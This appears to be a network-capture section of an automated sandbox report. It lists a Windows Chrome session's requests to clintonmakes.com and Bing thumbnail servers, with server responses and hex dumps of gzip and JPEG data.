Jan 16, 2025 17:20:24.227646112 CET	371	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:20:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49755	66.63.187.216	80	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:20:33.522900105 CET	212	IN	HTTP/1.0 408 Request Time-out Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>
Jan 16, 2025 17:21:18.529009104 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49747	66.63.187.216	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:22 UTC	664	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:22 UTC	210	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1070 Connection: close Set-Cookie: f5510ad44=0ad448213ea0 server: Apache/2.4.37 (Rocky Linux)
2025-01-16 16:20:22 UTC	829	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 3c 6d 65 74 61 20 70 72 6f Data Ascii: <!DOCTYPE html><html><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="twitter:card" content="summary_large_image"><meta property="og:title" content=""/><meta property="twitter:title" content=""/><meta pro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49748	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:22 UTC	346	OUT	GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:22 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 770657 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D493DE5D6DEE4F49BC73AE8ACDCB13FE Ref B: EWR30EDGE0421 Ref C: 2025-01-16T16:20:22Z Date: Thu, 16 Jan 2025 16:20:21 GMT Connection: close
2025-01-16 16:20:22 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 32 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 34 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``2ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:24:228
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: e3 7b ab 74 4f dd f9 92 7e f2 9d 1c 7f be ff 00 9e 94 f8 e0 ba d4 25 93 64 3e 63 f9 7e 67 fc 05 6a 25 36 d9 29 b5 a3 35 fe 23 e9 ba 1c 36 b6 49 a0 c5 37 da 23 89 ff 00 b4 7c cf ef ef f9 76 d7 22 ac 16 df 8f bd 5d 4f 8b 7c 41 7f e2 cf 11 7d b5 ec ed 6d fc bb 78 63 78 ed a2 d8 9b 63 4d 95 ca 6d fd ec 89 5a 42 2d a4 69 87 52 50 e5 93 d5 13 aa ff 00 c4 bf e4 aa ac af dc 50 ff 00 2c 7b 28 69 5d aa ad 63 a2 31 68 6b f5 a3 9a 73 26 df 9c 0f 96 9b cd 05 8e ff 00 96 34 de 68 e6 8e 68 00 e6 8e 69 cb 1f f7 a9 bc d0 17 4c 3f da a7 03 ba 3d b4 22 bd 3a dd 6a 89 6e c4 6e bb 68 e6 a4 8e 2d d2 d2 48 86 36 c0 a4 87 75 7b 0c e6 8e 69 d1 ae fa 3c b3 eb 45 82 e3 79 a3 9a 1d 76 d1 cd 21 87 35 35 93 22 c9 f3 d4 28 db 6b 63 45 82 c6 ef 52 8c 6a 13 79 10 6c df 21 a6 95 d9 15 1d Data Ascii: {tO~%d>c~gj%6)5#6I7#\|v"]O\|A}mxcxcMmZB-iRPP,{(i]c1hks&4hhiL?=":jnnh-H6u{i<Eyv!55"(kcERjyl!
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 83 27 ef ff 00 d4 ef f2 ed db f8 eb 83 f1 3e ab 69 a2 eb 91 e8 be 1b ff 00 4c b5 d2 ee 61 ff 00 48 b9 fb f7 72 af fe cb 5c 55 31 d1 c4 41 fd 5d ea 8c 6a 62 9d 59 25 05 6b 1f 5d 7c 24 d4 f4 5b dd 26 4b 5b db 3f b1 49 1f ee fc b8 a2 df e6 4b fe fd 73 fe 22 f8 9e fe 1d b4 d3 6e af b4 29 7f b1 e3 d4 66 b7 92 48 e5 fe 35 fe ea ff 00 15 72 5e 16 f1 7f 88 25 f1 16 8b a4 09 ad 23 ba 92 54 8e 4f f9 f7 b4 9e 4f 9d bf df f9 6b cf a4 6d 4a e3 56 92 d7 c7 1a c5 af 91 1c 93 7d 8a 3f b5 a3 fe f7 7e e6 7d bf ed 57 c3 bc bf eb 71 9c 71 11 f7 7f 33 9e 12 82 ab a1 ec 57 5a be ab f1 92 ee db fb 77 4e d4 34 af 09 69 f1 ba 69 d6 d1 7d fb f7 6f e3 7f f6 56 bc 37 e3 b7 c2 0d 73 4f f1 5e 81 68 9a ec be 25 92 e2 3d 9f 67 8a 2f df 41 12 bf f8 57 b0 78 57 e2 d7 87 bf e1 20 b1 d0 ae Data Ascii: '>iLaHr\U1A]jbY%k]\|$[&K[?IKs"n)fH5r^%#TOOkmJV}?~}Wqq3WZwN4ii}oV7sO^h%=g/AWxW
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 74 fb 7f ec eb 3f b4 5c dc 1f fd 14 9f ed 9a 9c b3 19 89 95 06 f1 aa d2 2f 09 8a a9 ca fd ba d4 f3 85 2e df 20 34 f8 ed 9d be e8 af 5b f8 b3 f0 96 c7 c1 1e 03 b2 bd 9f 52 9a e3 5e b8 d9 25 cd b4 71 6d 8a d1 19 33 c9 fe f5 64 78 12 d6 1b af 09 49 0d b6 93 0e f9 24 f2 2e 35 5b 89 7e 48 f3 ce d5 af 46 96 32 95 58 39 d3 77 46 f2 c7 41 d3 e7 a7 ae b6 3c df e7 fb 95 63 cd 55 fd d3 d5 9f 11 49 6d fd a1 b6 0f 9e 38 fe 5a a3 94 69 2b a2 32 ba 4c ea 4f 9e 2a 4d 58 5b a9 de 6f f7 6a 1e 6a e3 b2 34 5b 2a 29 a4 23 e4 aa ea 54 65 6d 12 20 e6 a4 8d bf 73 42 c5 23 7c d5 24 cb ba 3d ff 00 72 9d d1 4d ab 85 d2 7f ab fd ef 99 be 8d ab 0f cd fe b2 a1 64 db 4e dc eb 15 08 56 d0 6e e7 6a b1 1d b7 f0 7f 1d 57 b5 ff 00 59 5a 5e 6a 5b cb f3 d4 39 34 45 49 35 a2 28 dc db b4 3d 6a Data Ascii: t?\/. 4[R^%qm3dxI$.5[~HF2X9wFA<cUIm8Zi+2LOMX[ojj4[)#Tem sB#\|$=rMdNVnjWYZ^j[94EI5(=j
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: c1 73 33 47 b3 fd 5a 54 1a a7 96 ad f2 7c f4 2d 47 19 c9 ce cc ac a2 2a 87 9a b9 a6 d9 fd a3 ee d4 ad 06 d8 be 4a 6d 97 ed 62 9b 45 5d a8 b4 54 f6 f0 7f 1d 14 73 10 ea 24 cf b3 75 9f 0d 5a 68 fa 4d 8d d7 89 34 db bb d8 ed ed bf d1 a4 ff 00 96 37 0f bf e7 db 5d 7e 9b e0 5d 26 e3 49 b6 d5 2f 61 b4 b2 fd da 7d 9a 49 7f b9 fe ed 6f 7c 5b f1 c5 84 5a 7d 8e 82 f3 5a 49 a6 c7 fe 97 1e a5 e5 7c f1 bc ae ff 00 c3 ef 55 60 9e 0b 2d 12 c7 4b ba 9a 6f b5 5e d9 3c 92 49 ff 00 3e fb 7f b9 5f 9a d6 c5 e2 39 2f 1d cf 46 58 67 4d b2 69 fc 4b a2 da 43 e4 59 4d e6 47 65 27 97 fe ab fe 05 5c 04 7a d4 1f f0 b2 24 4d 46 ce 69 20 b8 fd e7 97 ff 00 3e ff 00 ed 57 5b e1 1b c9 f5 5f b3 59 3e 9b 34 7e 67 fa 44 97 32 c4 9b ee 3f 87 ee d5 af 8b 9e 13 f0 f6 89 e0 8b ed 5d e1 f3 2f a3 Data Ascii: s3GZT\|-G*JmbE]Ts$uZhM47]~]&I/a}Io\|[Z}ZI\|U`-Ko^<I>_9/FXgMiKCYMGe'\z$MFi >W[_Y>4~gD2?]/
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: e6 6a 5f f2 d3 f8 d2 37 6a ee af be 18 5f de ea 1a 6d d4 fe 2a fb 45 f5 94 9e 5c 76 57 31 79 2f 6e ec 9f fa 0d 79 b7 8d 3e 1c f8 de 28 63 79 ec e6 b7 82 f6 f7 cb 96 48 a5 fe ef f7 bf d9 a8 a3 8a 8b 4e 30 91 95 6c b6 1f 0d b4 3b 29 ec 74 5d 6f 50 b2 d3 be d9 fd 9d 3c 9f e8 f7 3f f4 cd ff 00 bd 4c d5 7c 43 7f e1 fb bf ec 4b 29 bf b4 63 b7 fd e7 da 6d be 4f 31 fe ef cc ff 00 ec d6 27 86 7c 35 e2 1f 10 78 8a 4b 28 fc 98 ee ad f7 dd fe f6 5f ee a7 f1 32 fd e6 6a e4 bc 63 73 ad 68 ff 00 66 df 67 0f 99 e5 cd e6 47 14 4f e4 c6 ec 9f c5 fe e5 4d 39 55 94 ed 27 73 97 fb 35 53 5c ed 68 7a 36 a4 ba 16 b7 34 68 97 9f 6d f2 ed 93 cc fd ef fa b7 6a b9 a5 2e 93 a7 fe e2 ca 1f 2e b9 0d 3b 5c d4 a5 f0 cc 69 fd 9b 69 fe b5 24 f3 22 8b fd 8a 96 38 35 29 61 df 6b fe be 4f f5 Data Ascii: j_7j_m*E\vW1y/ny>(cyHN0l;)t]oP<?L\|CK)cmO1'\|5xK(_2jcshfgGOM9U's5S\hz64hmj..;\ii$"85)akO
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: ed a8 2e 3c cb a9 ff 00 e5 a7 fa cf 36 bc df 4b 91 e5 f9 fc a9 77 d6 c4 0b 3b cb b1 ff 00 d5 d7 7c 68 26 96 87 85 3c 47 22 69 ee 6b be 9b a6 ea 1a 8e cb 5f dd d5 8f f8 43 65 96 6d 90 4f 17 fd b4 a9 fc 3f a7 c6 f5 d3 41 02 27 dc ad 9d 47 0d 13 39 14 79 f5 67 25 07 83 2f 1f ef 98 a9 ff 00 f0 88 dc 27 78 ab b8 b5 8a 0a 9a 78 a3 fb e9 53 f5 99 5c cf d9 3e a7 11 6b e1 af f9 e9 35 6c e9 ba 2c 76 ff 00 72 b6 7c aa 73 c5 b2 94 ab 39 22 52 51 77 48 ce 8f 4f df 35 4f 05 9c 76 f7 75 6a 3f 33 ee 24 35 76 d6 0f ef d6 13 e6 5a 95 ed 17 72 7d 1e da 34 9b 7f fc b4 ae a2 c6 29 1e b1 ac 62 f2 a6 de f5 a9 6b 73 1b 4d bd 2b c4 c5 46 52 67 45 0a 96 57 2d 3a c1 14 df 24 3e 65 61 dd 4b a6 e9 9e 64 f3 cd fb cf f5 9f bd ab 57 d3 dd bc db 2d 61 9a 4f fa 69 5c d5 df 85 75 6d 56 ee Data Ascii: .<6Kw;\|h&<G"ik_CemO?A'G9yg%/'xxS\>k5l,vr\|s9"RQwHO5Ovuj?3$5vZr}4)bksM+FRgEW-:$>eaKdW-aOi\umV
2025-01-16 16:20:22 UTC	16067	IN	Data Raw: c4 77 16 fb f8 7f e1 fb b5 32 c9 6b 28 ba 91 76 5d 11 c7 ed 94 ee a5 23 b6 f8 bb aa 47 67 e1 3f 09 a4 3a 76 a0 f2 69 d2 5c c1 a8 db 4b 2f fc bc 79 db be 7f ae ea ea be 1c ff 00 c2 35 e2 5b 48 dd fc 9f 3e 3b 67 b7 d4 ac af a2 f2 52 39 77 ff 00 0f f2 ae 0f c3 37 9f 6b fb 4e 91 3d 9c d2 6a 3a ac 6f 27 99 e6 ef 78 ee 17 2f 13 ff 00 8d 50 f0 7d 8f 8a 3f b7 23 83 57 bc 9a 38 24 df 77 e5 c7 f3 fd a2 7f e0 8f e5 fe 2d d5 d5 0a 3f bb e5 96 8c eb a3 ee ca e7 b2 78 f3 e0 cf 84 2d f4 48 d2 cb 52 fd fd c6 ff 00 2e db 4d 89 26 79 3e 4a f0 2d 63 4c fe cf b4 b2 df ac 7d 8e ef 4e 8f f7 91 c9 0b a3 f9 bb fe e7 fb 4c b5 ea fa 8e ab e2 ff 00 0a 1b dd 52 7b c8 b4 ef 13 5c 5b 79 9f 66 92 2f dc c6 8d f7 bf d9 e6 b8 0f 12 78 e6 0f 14 69 d2 5d 6b a6 59 35 8d 3e 5f b5 f9 92 9d f6 Data Ascii: w2k(v]#Gg?:vi\K/y5[H>;gR9w7kN=j:o'x/P}?#W8$w-?x-HR.M&y>J-cL}NLR{\[yf/xi]kY5>_
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 11 41 27 d9 7e d2 92 e2 85 14 55 d2 2a f3 57 34 75 df 36 cf 27 cc a2 c6 da 36 8f 7c b3 79 75 0a ef 4b 8f dd 49 f3 7a d3 50 e5 64 3d 74 24 78 3f d2 b6 4d fb ba af 37 de 15 af 1d a4 d7 56 d9 f3 62 46 ac a9 e0 92 29 76 3d 54 d6 9a 21 45 dc 6f 98 7d 2a 58 f6 34 7f 3d 40 dc 1a 73 ff 00 b1 59 f3 3b 94 e3 71 d2 37 ef be 4a 6c 8d ba 9b cd 1c d2 94 ae 50 73 52 db cd b0 e1 fe e5 45 cd 1c d2 57 4c 03 69 a1 1b 6d 58 b1 29 e6 6c 7f e3 a4 ba 48 e2 9b 62 1f 32 ab 95 0a e3 60 9e 68 a6 f3 93 ef d1 51 3f 5a 2a 6e fb 87 2a 3d df c5 5a d7 89 2d fc 79 a2 7c 42 d2 ec ff 00 d2 bc bf b3 c7 e6 c5 bd 24 75 fd df fe 83 5e 71 7d af 5d ea 7e 36 d3 af 7c 4f 7b a8 48 2d e5 fd e0 3f f2 c3 e7 dd b5 3d b3 5f 58 78 ba c7 49 d7 7c c8 2f 74 d8 74 e9 3c cf 32 3f 2a 5d 89 5e 27 f1 0b c1 d3 dd Data Ascii: A'~UW4u6'6\|yuKIzPd=t$x?M7VbF)v=T!Eo}X4=@sY;q7JlPsREWLimX)lHb2`hQ?Zn=Z-y\|B$u^q}]~6\|O{H-?=_XxI\|/tt<2?*]^'
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 0d 68 41 3d a2 5a 6c 9e ad 6d 8e 2b 4d f0 7f cb 4a 9e 66 3e 5b ee 57 8e 78 12 1a af 25 f4 69 0f 97 07 ee ea 8c 9e 7a 7f d7 3a af 1b 6d f9 e9 f2 8d 24 8b 1b 63 fb ef 53 fd 99 25 8b fd 4f 97 54 3c f9 1a ad 7d af f7 35 4b 64 05 39 b7 a7 c8 69 02 1d 9b aa 46 64 63 c0 d9 4d 98 22 cb f2 1d e2 a6 56 dc a1 9c d4 d6 26 dc 4b fe 93 14 92 27 a4 66 a1 e6 8e 6b 30 34 af 2c 2d 16 c7 ed 56 ba 94 32 73 fe aa 4f 96 5a cd e6 8e 68 e6 80 0e 68 a1 7a d1 5a 28 b6 07 de ba a2 c1 a5 78 66 3b bb a8 6d 35 5b af f9 e7 7d 0f 9d e5 a3 27 ee fe f7 f1 ef f9 6b 9e 9b fb 27 c5 ba 4c 7e 27 be b3 9a 48 2c ef 52 3f b3 47 f7 27 b7 d8 9e 6a ff 00 c0 2b b2 d5 7c 2b 7f e2 59 a4 b5 b5 fe cf fd de a3 6d 3f da 7c df 9e 44 5a 2f bc 23 27 86 b4 3f ec 84 9a 18 ed 74 e8 a6 b8 f3 3f e7 e3 77 cc ab fe Data Ascii: hA=Zlm+MJf>[Wx%iz:m$cS%OT<}5Kd9iFdcM"V&K'fk04,-V2sOZhhzZ(xf;m5[}'k'L~'H,R?G'j+\|+Ym?\|DZ/#'?t?w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49749	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:22 UTC	346	OUT	GET /th?id=OADD2.10239405475856_1F6V8529RVRKMO1TM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:22 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 432486 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DDB43922789A448C905DA473CF10B6CD Ref B: EWR311000103029 Ref C: 2025-01-16T16:20:22Z Date: Thu, 16 Jan 2025 16:20:22 GMT Connection: close
2025-01-16 16:20:22 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 32 20 28 32 30 32 34 31 31 32 37 2e 6d 2e 32 38 38 35 20 31 37 39 37 34 33 31 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 32 3a 31 33 20 31 30 3a 30 38 3a 34 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.2 (20241127.m.2885 1797431) (Windows)2024:12:13 10:08:468
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 9d c4 42 c9 ea 3d e9 ac bf 36 d1 d7 8c 9a 9b 8d bc 0c 7d 29 a4 7c bc fe 74 d4 8a 20 c7 aa fe 54 8d fa 8e bc 7e a2 a5 65 f4 3c e4 63 f9 0a 6e 0f 4c 7f 43 56 80 8c 8c 7f 2e 3a 75 a0 8f 5e 38 e3 34 ec 75 04 e0 e3 fc f4 a4 fe 1c 7b 74 ff 00 eb 53 13 19 80 78 f5 1f 9d 27 1d 05 3f 1f 36 47 7f c2 90 e7 92 0f 14 0c 6e 31 d3 b7 f9 ff 00 3e d4 80 e3 24 7e 19 a7 2f b7 1f 4a 41 f7 48 cf 6c 1f f3 f8 50 03 86 76 f7 fc 8f f2 a7 2f 39 23 a7 3e f4 c5 ec 06 3a 77 eb 4e 07 d7 ad 04 8f 6f bb c5 19 cb 7a 7d 3a e6 9a 4e 14 8e f4 64 6e e7 d6 80 1c 30 79 eb 4e 07 38 cf 4c 53 41 f9 78 e7 1d ff 00 1a 55 23 6e 49 c7 ad 26 36 3f 93 cf 53 8c f7 a5 c9 3d 0e 47 e3 de 99 f5 e0 e0 d3 bd fa 54 92 3b 38 5c fe 7e d4 e1 cf 1f 8f ff 00 ae 9a bc 2f 51 c7 a7 d2 97 1d 88 ff 00 eb 7d 3a d1 60 1d Data Ascii: B=6})\|t T~e<cnLCV.:u^84u{tSx'?6Gn1>$~/JAHlPv/9#>:wNoz}:Ndn0yN8LSAxU#nI&6?S=GT;8\~/Q}:`
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: eb 50 ee c7 1c 31 1d 87 b5 3b 71 ed e9 d7 9e 94 12 4c a7 0b 81 d8 d0 1b 2b cf 19 eb 8a 8c 31 1c 67 d8 73 46 ef 97 8c 50 1b 93 17 3b bd 7a e4 ff 00 9f 5a 4d d8 e8 be f8 c5 45 b8 1f 50 3d fe b4 bf cb 91 fe 7f 1a 09 1e c4 15 ce 09 ff 00 3d e9 09 c7 27 90 31 d6 9a cc 3e a3 bf bd 04 81 d4 73 9e bd 33 eb f9 fb d3 b0 c4 63 e8 71 d7 83 4c e7 69 03 96 c1 fd 29 49 27 a9 f5 ff 00 3c d3 49 fc 46 31 57 10 23 97 ee f2 70 3a 7b 73 fd 2a 36 e7 8c 60 8e f4 f7 23 b9 03 f1 a8 9f 1b b1 c9 f7 3d 73 5a 08 32 07 5e 3a f7 a6 be 33 f8 fb 7a d2 e7 27 9e fc f1 4d 61 95 cf f4 e2 ad 0d 91 37 2a 73 c9 ee 4d 44 dc f3 fa 62 a5 fe 22 7f 5f 61 fa d4 6d 9e d9 c6 3b 75 ad 50 88 65 05 7a 64 9e 83 de a3 61 f3 54 b2 01 d7 1f 8f e1 51 1f 71 db a0 e3 b5 6a 98 0d 61 8e 08 cf 52 6a 33 91 c7 53 ed Data Ascii: P1;qL+1gsFP;zZMEP=='1>s3cqLi)I'<IF1W#p:{s6`#=sZ2^:3z'Ma7sMDb"_am;uPezdaTQqjaRj3S
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 6a 01 c7 3d 00 23 a7 a7 af ff 00 ae 9b 9c f1 c6 3d 8f 1f 97 5a 06 2e 73 93 d8 67 df 1e d4 67 a0 1c 9e 29 31 d0 f7 fc a8 20 05 c8 f4 e3 9e d9 e7 35 23 42 f3 d7 d4 75 20 7f 9e 94 9b 48 5e 3a 7a ff 00 fa a9 57 8c f6 6f 5f f3 f5 fc a9 c7 1d 3d fa 7f fa e8 b8 30 c7 cd 9e 83 fc f5 a6 e0 06 04 f4 eb f8 53 89 c2 1e 87 f4 00 f3 8a 1b 03 a0 c0 04 f0 47 35 22 1b ef e9 c5 23 77 24 e0 8c f5 ed 8f d6 9c c0 f4 ee 3a 13 d0 7f fa e9 af 93 80 38 38 38 f5 f6 a4 c0 63 f7 c6 3f 13 4c 60 07 41 d3 d7 ff 00 ad fe 7f 2a 7b 73 c0 e3 3d 39 ff 00 3f e4 d3 79 e8 7a 71 fa ff 00 f5 e9 0e e3 39 27 04 60 8e 3f 1f fe b5 34 e4 f7 e8 39 e9 da 9c c3 19 c6 40 1d 3d bf ce 68 23 3d ba 1e ff 00 d7 de 80 b8 dc fc b9 1d bb 53 09 21 70 3a 77 e7 d3 da 9e 7b fd 2a 32 0f a7 1c fa ff 00 87 4a 04 19 ce Data Ascii: j=#=Z.sgg)1 5#Bu H^:zWo_=0SG5"#w$:888c?L`A{s=9?yzq9'`?49@=h#=S!p:w{2J
